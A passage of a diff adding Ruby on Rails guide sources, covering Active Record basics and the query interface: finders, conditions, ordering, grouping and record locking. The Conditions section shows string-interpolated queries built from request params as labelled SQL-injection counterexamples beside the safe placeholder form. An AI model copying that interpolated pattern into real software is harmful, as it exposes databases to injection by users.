+Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
+
+h4. Active Record as an ORM Framework
+
+Active Record gives us several mechanisms, the most important being the ability to:
+
+* Represent models and their data
+* Represent associations between these models
+* Represent inheritance hierarchies through related models
+* Validate models before they get persisted to the database
+* Perform database operations in an object-oriented fashion.
+
+h3. Convention over Configuration in Active Record
+
+When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
+
+h4. Naming Conventions
+
+By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
+
+* Database Table - Plural with underscores separating words (e.g., +book_clubs+)
+* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+)
+
+|_.Model / Class |_.Table / Schema |
+|+Post+          |+posts+|
+|+LineItem+      |+line_items+|
+|+Deer+          |+deer+|
+|+Mouse+         |+mice+|
+|+Person+        |+people+|
+
+
+h4. Schema Conventions
+
+Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
+
+* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models.
+* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
+
+There are also some optional column names that will create additional features to Active Record instances:
+
+* +created_at+ - Automatically gets set to the current date and time when the record is first created.
+* +created_on+ - Automatically gets set to the current date when the record is first created.
+* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated.
+* +updated_on+ - Automatically gets set to the current date whenever the record is updated.
+* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
+* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
+* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
+
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+h3. Creating Active Record Models
+
+It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
+
+<ruby>
+class Product < ActiveRecord::Base
+end
+</ruby>
+
+This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like:
+
+<sql>
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+</sql>
+
+Following the table schema above, you would be able to write code like the following:
+
+<ruby>
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+</ruby>
+
+h3. Overriding the Naming Conventions
+
+What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
+
+You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used:
+
+<ruby>
+class Product < ActiveRecord::Base
+  self.table_name = "PRODUCT"
+end
+</ruby>
+
+If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the +set_fixture_class+ method in your test definition:
+
+<ruby>
+class FunnyJoke < ActiveSupport::TestCase
+  set_fixture_class :funny_jokes => 'Joke'
+  fixtures :funny_jokes
+  ...
+end
+</ruby>
+
+It's also possible to override the column that should be used as the table's primary key using the +ActiveRecord::Base.set_primary_key+ method:
+
+<ruby>
+class Product < ActiveRecord::Base
+  set_primary_key "product_id"
+end
+</ruby>
+
+h3. CRUD: Reading and Writing Data
+
+CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
+
+h4. Create
+
+Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database.
+
+For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database:
+
+<ruby>
+  user = User.create(:name => "David", :occupation => "Code Artist")
+</ruby>
+
+Using the +new+ method, an object can be created without being saved:
+
+<ruby>
+  user = User.new
+  user.name = "David"
+  user.occupation = "Code Artist"
+</ruby>
+
+A call to +user.save+ will commit the record to the database.
+
+Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization:
+
+<ruby>
+  user = User.new do |u|
+    u.name = "David"
+    u.occupation = "Code Artist"
+  end
+</ruby>
+
+h4. Read
+
+Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
+
+<ruby>
+  # return array with all records
+  users = User.all
+</ruby>
+
+<ruby>
+  # return the first record
+  user = User.first
+</ruby>
+
+<ruby>
+  # return the first user named David
+  david = User.find_by_name('David')
+</ruby>
+
+<ruby>
+  # find all users named David who are Code Artists and sort by created_at in reverse chronological order
+  users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC')
+</ruby>
+
+You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
+
+h4. Update
+
+Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
+
+<ruby>
+  user = User.find_by_name('David')
+  user.name = 'Dave'
+  user.save
+</ruby>
+
+h4. Delete
+
+Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
+
+<ruby>
+  user = User.find_by_name('David')
+  user.destroy
+</ruby>
+
+h3. Validations
+
+Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
+
+h3. Callbacks
+
+Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview.
+
+h3. Migrations
+
+Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
diff --git a/guides/source/active_record_querying.textile b/guides/source/active_record_querying.textile
new file mode 100644
index 0000000000..80c9260a0d
--- /dev/null
+++ b/guides/source/active_record_querying.textile
@@ -0,0 +1,1585 @@
+h2. Active Record Query Interface
+
+This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
+
+* Find records using a variety of methods and conditions
+* Specify the order, retrieved attributes, grouping, and other properties of the found records
+* Use eager loading to reduce the number of database queries needed for data retrieval
+* Use dynamic finders methods
+* Check for the existence of particular records
+* Perform various calculations on Active Record models
+* Run EXPLAIN on relations
+
+endprologue.
+
+If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models use +id+ as the primary key, unless specified otherwise.
+
+<ruby>
+class Client < ActiveRecord::Base
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+</ruby>
+
+<ruby>
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+</ruby>
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :client, :counter_cache => true
+end
+</ruby>
+
+<ruby>
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+</ruby>
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+h3. Retrieving Objects from the Database
+
+To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
+
+The methods are:
+* +bind+
+* +create_with+
+* +eager_load+
+* +extending+
+* +from+
+* +group+
+* +having+
+* +includes+
+* +joins+
+* +limit+
+* +lock+
+* +none+
+* +offset+
+* +order+
+* +none+
+* +preload+
+* +readonly+
+* +references+
+* +reorder+
+* +reverse_order+
+* +select+
+* +uniq+
+* +where+
+
+All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>.
+
+The primary operation of <tt>Model.find(options)</tt> can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run +after_find+ callbacks, if any.
+
+h4. Retrieving a Single Object
+
+Active Record provides five different ways of retrieving a single object.
+
+h5. Using a Primary Key
+
+Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+
+<ruby>
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+</sql>
+
+<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
+
+h5. +take+
+
+<tt>Model.take</tt> retrieves a record without any implicit ordering. For example:
+
+<ruby>
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients LIMIT 1
+</sql>
+
+<tt>Model.take</tt> returns +nil+ if no record is found and no exception will be raised.
+
+TIP: The retrieved record may vary depending on the database engine.
+
+h5. +first+
+
+<tt>Model.first</tt> finds the first record ordered by the primary key. For example:
+
+<ruby>
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+</sql>
+
+<tt>Model.first</tt> returns +nil+ if no matching record is found and no exception will be raised.
+
+h5. +last+
+
+<tt>Model.last</tt> finds the last record ordered by the primary key. For example:
+
+<ruby>
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+</sql>
+
+<tt>Model.last</tt> returns +nil+ if no matching record is found and no exception will be raised.
+
+h5. +find_by+
+
+<tt>Model.find_by</tt> finds the first record matching some conditions. For example:
+
+<ruby>
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+</ruby>
+
+It is equivalent to writing:
+
+<ruby>
+Client.where(first_name: 'Lifo').take
+</ruby>
+
+h5(#take_1). +take!+
+
+<tt>Model.take!</tt> retrieves a record without any implicit ordering. For example:
+
+<ruby>
+client = Client.take!
+# => #<Client id: 1, first_name: "Lifo">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients LIMIT 1
+</sql>
+
+<tt>Model.take!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
+
+h5(#first_1). +first!+
+
+<tt>Model.first!</tt> finds the first record ordered by the primary key. For example:
+
+<ruby>
+client = Client.first!
+# => #<Client id: 1, first_name: "Lifo">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+</sql>
+
+<tt>Model.first!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
+
+h5(#last_1). +last!+
+
+<tt>Model.last!</tt> finds the last record ordered by the primary key. For example:
+
+<ruby>
+client = Client.last!
+# => #<Client id: 221, first_name: "Russel">
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+</sql>
+
+<tt>Model.last!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
+
+h5(#find_by_1). +find_by!+
+
+<tt>Model.find_by!</tt> finds the first record matching some conditions. It raises +ActiveRecord::RecordNotFound+ if no matching record is found. For example:
+
+<ruby>
+Client.find_by! first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by! first_name: 'Jon'
+# => ActiveRecord::RecordNotFound
+</ruby>
+
+It is equivalent to writing:
+
+<ruby>
+Client.where(first_name: 'Lifo').take!
+</ruby>
+
+h4. Retrieving Multiple Objects
+
+h5. Using Multiple Primary Keys
+
+<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
+
+<ruby>
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+</sql>
+
+WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
+
+h5. take
+
+<tt>Model.take(limit)</tt> retrieves the first number of records specified by +limit+ without any explicit ordering:
+
+<ruby>
+Client.take(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+      #<Client id: 2, first_name: "Raf">]
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients LIMIT 2
+</sql>
+
+h5. first
+
+<tt>Model.first(limit)</tt> finds the first number of records specified by +limit+ ordered by primary key:
+
+<ruby>
+Client.first(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+      #<Client id: 2, first_name: "Raf">]
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients LIMIT 2
+</sql>
+
+h5. last
+
+<tt>Model.last(limit)</tt> finds the number of records specified by +limit+ ordered by primary key in descending order:
+
+<ruby>
+Client.last(2)
+# => [#<Client id: 10, first_name: "Ryan">,
+      #<Client id: 9, first_name: "John">]
+</ruby>
+
+The SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER By id DESC LIMIT 2
+</sql>
+
+h4. Retrieving Multiple Objects in Batches
+
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
+
+This may appear straightforward:
+
+<ruby>
+# This is very inefficient when the users table has thousands of rows.
+User.all.each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+
+TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
+
+h5. +find_each+
+
+The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
+
+<ruby>
+User.find_each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+h6. Options for +find_each+
+
+The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+.
+
+Two additional options, +:batch_size+ and +:start+, are available as well.
+
+*+:batch_size+*
+
+The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
+
+<ruby>
+User.find_each(:batch_size => 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*+:start+*
+
+By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+
+For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
+
+<ruby>
+User.find_each(:start => 2000, :batch_size => 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker.
+
+NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
+
+h5. +find_in_batches+
+
+The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+
+<ruby>
+# Give add_invoices an array of 1000 invoices at a time
+Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
+  export.add_invoices(invoices)
+end
+</ruby>
+
+NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
+
+h6. Options for +find_in_batches+
+
+The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+.
+
+h3. Conditions
+
+The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+h4. Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like +Client.where("orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.where("first_name LIKE '%#{params[:first_name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
+
+h4. Array Conditions
+
+Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
+
+<ruby>
+Client.where("orders_count = ?", params[:orders])
+</ruby>
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
+
+If you want to specify multiple conditions:
+
+<ruby>
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+</ruby>
+
+In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
+
+This code is highly preferable:
+
+<ruby>
+Client.where("orders_count = ?", params[:orders])
+</ruby>
+
+to this code:
+
+<ruby>
+Client.where("orders_count = #{params[:orders]}")
+</ruby>
+
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
+
+h5. Placeholder Conditions
+
+Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
+
+<ruby>
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+  {:start_date => params[:start_date], :end_date => params[:end_date]})
+</ruby>
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+h4. Hash Conditions
+
+Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+h5. Equality Conditions
+
+<ruby>
+Client.where(:locked => true)
+</ruby>
+
+The field name can also be a string:
+
+<ruby>
+Client.where('locked' => true)
+</ruby>
+
+NOTE: The values cannot be symbols. For example, you cannot do +Client.where(:status => :active)+.
+
+h5(#hash-range_conditions). Range Conditions
+
+<ruby>
+Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
+</ruby>
+
+This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
+
+<sql>
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+</sql>
+
+This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
+
+h5. Subset Conditions
+
+If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
+
+<ruby>
+Client.where(:orders_count => [1,3,5])
+</ruby>
+
+This code will generate SQL like this:
+
+<sql>
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+</sql>
+
+h3(#ordering). Ordering
+
+To retrieve records from the database in a specific order, you can use the +order+ method.
+
+For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
+
+<ruby>
+Client.order("created_at")
+</ruby>
+
+You could specify +ASC+ or +DESC+ as well:
+
+<ruby>
+Client.order("created_at DESC")
+# OR
+Client.order("created_at ASC")
+</ruby>
+
+Or ordering by multiple fields:
+
+<ruby>
+Client.order("orders_count ASC, created_at DESC")
+# OR
+Client.order("orders_count ASC", "created_at DESC")
+</ruby>
+
+If you want to call +order+ multiple times e.g. in different context, new order will prepend previous one
+
+<ruby>
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
+</ruby>
+
+h3. Selecting Specific Fields
+
+By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
+
+To select only a subset of fields from the result set, you can specify the subset via the +select+ method.
+
+NOTE: If the +select+ method is used, all the returning objects will be "read only":#readonly-objects.
+
+<br />
+
+For example, to select only +viewable_by+ and +locked+ columns:
+
+<ruby>
+Client.select("viewable_by, locked")
+</ruby>
+
+The SQL query used by this find call will be somewhat like:
+
+<sql>
+SELECT viewable_by, locked FROM clients
+</sql>
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+<shell>
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+</shell>
+
+Where +&lt;attribute&gt;+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
+
+If you would like to only grab a single record per unique value in a certain field, you can use +uniq+:
+
+<ruby>
+Client.select(:name).uniq
+</ruby>
+
+This would generate SQL like:
+
+<sql>
+SELECT DISTINCT name FROM clients
+</sql>
+
+You can also remove the uniqueness constraint:
+
+<ruby>
+query = Client.select(:name).uniq
+# => Returns unique names
+
+query.uniq(false)
+# => Returns all names, even if there are duplicates
+</ruby>
+
+h3. Limit and Offset
+
+To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +limit+ and +offset+ methods on the relation.
+
+You can use +limit+ to specify the number of records to be retrieved, and use +offset+ to specify the number of records to skip before starting to return the records. For example
+
+<ruby>
+Client.limit(5)
+</ruby>
+
+will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
+
+<sql>
+SELECT * FROM clients LIMIT 5
+</sql>
+
+Adding +offset+ to that
+
+<ruby>
+Client.limit(5).offset(30)
+</ruby>
+
+will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
+
+<sql>
+SELECT * FROM clients LIMIT 5 OFFSET 30
+</sql>
+
+h3. Group
+
+To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the +group+ method on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+<ruby>
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+</ruby>
+
+And this will give you a single +Order+ object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+<sql>
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+</sql>
+
+h3. Having
+
+SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can add the +HAVING+ clause to the SQL fired by the +Model.find+ by adding the +:having+ option to the find.
+
+For example:
+
+<ruby>
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
+</ruby>
+
+The SQL that would be executed would be something like this:
+
+<sql>
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+</sql>
+
+This will return single order objects for each day, but only those that are ordered more than $100 in a day.
+
+h3. Overriding Conditions
+
+h4. +except+
+
+You can specify certain conditions to be excepted by using the +except+ method. For example:
+
+<ruby>
+Post.where('id > 10').limit(20).order('id asc').except(:order)
+</ruby>
+
+The SQL that would be executed:
+
+<sql>
+SELECT * FROM posts WHERE id > 10 LIMIT 20
+</sql>
+
+h4. +only+
+
+You can also override conditions using the +only+ method. For example:
+
+<ruby>
+Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+</ruby>
+
+The SQL that would be executed:
+
+<sql>
+SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+</sql>
+
+h4. +reorder+
+
+The +reorder+ method overrides the default scope order. For example:
+
+<ruby>
+class Post < ActiveRecord::Base
+  ..
+  ..
+  has_many :comments, :order => 'posted_at DESC'
+end
+
+Post.find(10).comments.reorder('name')
+</ruby>
+
+The SQL that would be executed:
+
+<sql>
+SELECT * FROM posts WHERE id = 10 ORDER BY name
+</sql>
+
+In case the +reorder+ clause is not used, the SQL executed would be:
+
+<sql>
+SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
+</sql>
+
+h4. +reverse_order+
+
+The +reverse_order+ method reverses the ordering clause if specified.
+
+<ruby>
+Client.where("orders_count > 10").order(:name).reverse_order
+</ruby>
+
+The SQL that would be executed:
+
+<sql>
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+</sql>
+
+If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order.
+
+<ruby>
+Client.where("orders_count > 10").reverse_order
+</ruby>
+
+The SQL that would be executed:
+
+<sql>
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+</sql>
+
+This method accepts *no* arguments.
+
+h3. Null Relation
+
+The +none+ method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+
+<ruby>
+Post.none # returns an empty Relation and fires no queries.
+</ruby>
+
+<ruby>
+# The visible_posts method below is expected to return a Relation.
+@posts = current_user.visible_posts.where(:name => params[:name])
+
+def visible_posts
+  case role
+  when 'Country Manager'
+    Post.where(:country => country)
+  when 'Reviewer'
+    Post.published
+  when 'Bad User'
+    Post.none # => returning [] or nil breaks the caller code in this case
+  end
+end
+</ruby>
+
+h3. Readonly Objects
+
+Active Record provides +readonly+ method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception.
+
+<ruby>
+client = Client.readonly.first
+client.visits += 1
+client.save
+</ruby>
+
+As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_.
+
+h3. Locking Records for Update
+
+Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
+
+Active Record provides two locking mechanisms:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+h4. Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
+
+<strong>Optimistic locking column</strong>
+
+In order to use optimistic locking, the table needs to have a column called +lock_version+ of type integer. Each time the record is updated, Active Record increments the +lock_version+ column. If an update request is made with a lower value in the +lock_version+ field than is currently in the +lock_version+ column in the database, the update request will fail with an +ActiveRecord::StaleObjectError+. Example:
+
+<ruby>
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises an ActiveRecord::StaleObjectError
+</ruby>
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+
+To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class attribute called +locking_column+:
+
+<ruby>
+class Client < ActiveRecord::Base
+  self.locking_column = :lock_client_column
+end
+</ruby>
+
+h4. Pessimistic Locking
+
+Pessimistic locking uses a locking mechanism provided by the underlying database. Using +lock+ when building a relation obtains an exclusive lock on the selected rows. Relations using +lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+<ruby>
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save
+end
+</ruby>
+
+The above session produces the following SQL for a MySQL backend:
+
+<sql>
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+</sql>
+
+You can also pass raw SQL to the +lock+ method for allowing different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+<ruby>
+Item.transaction do
+  i = Item.lock("LOCK IN SHARE MODE").find(1)
+  i.increment!(:views)
+end
+</ruby>
+
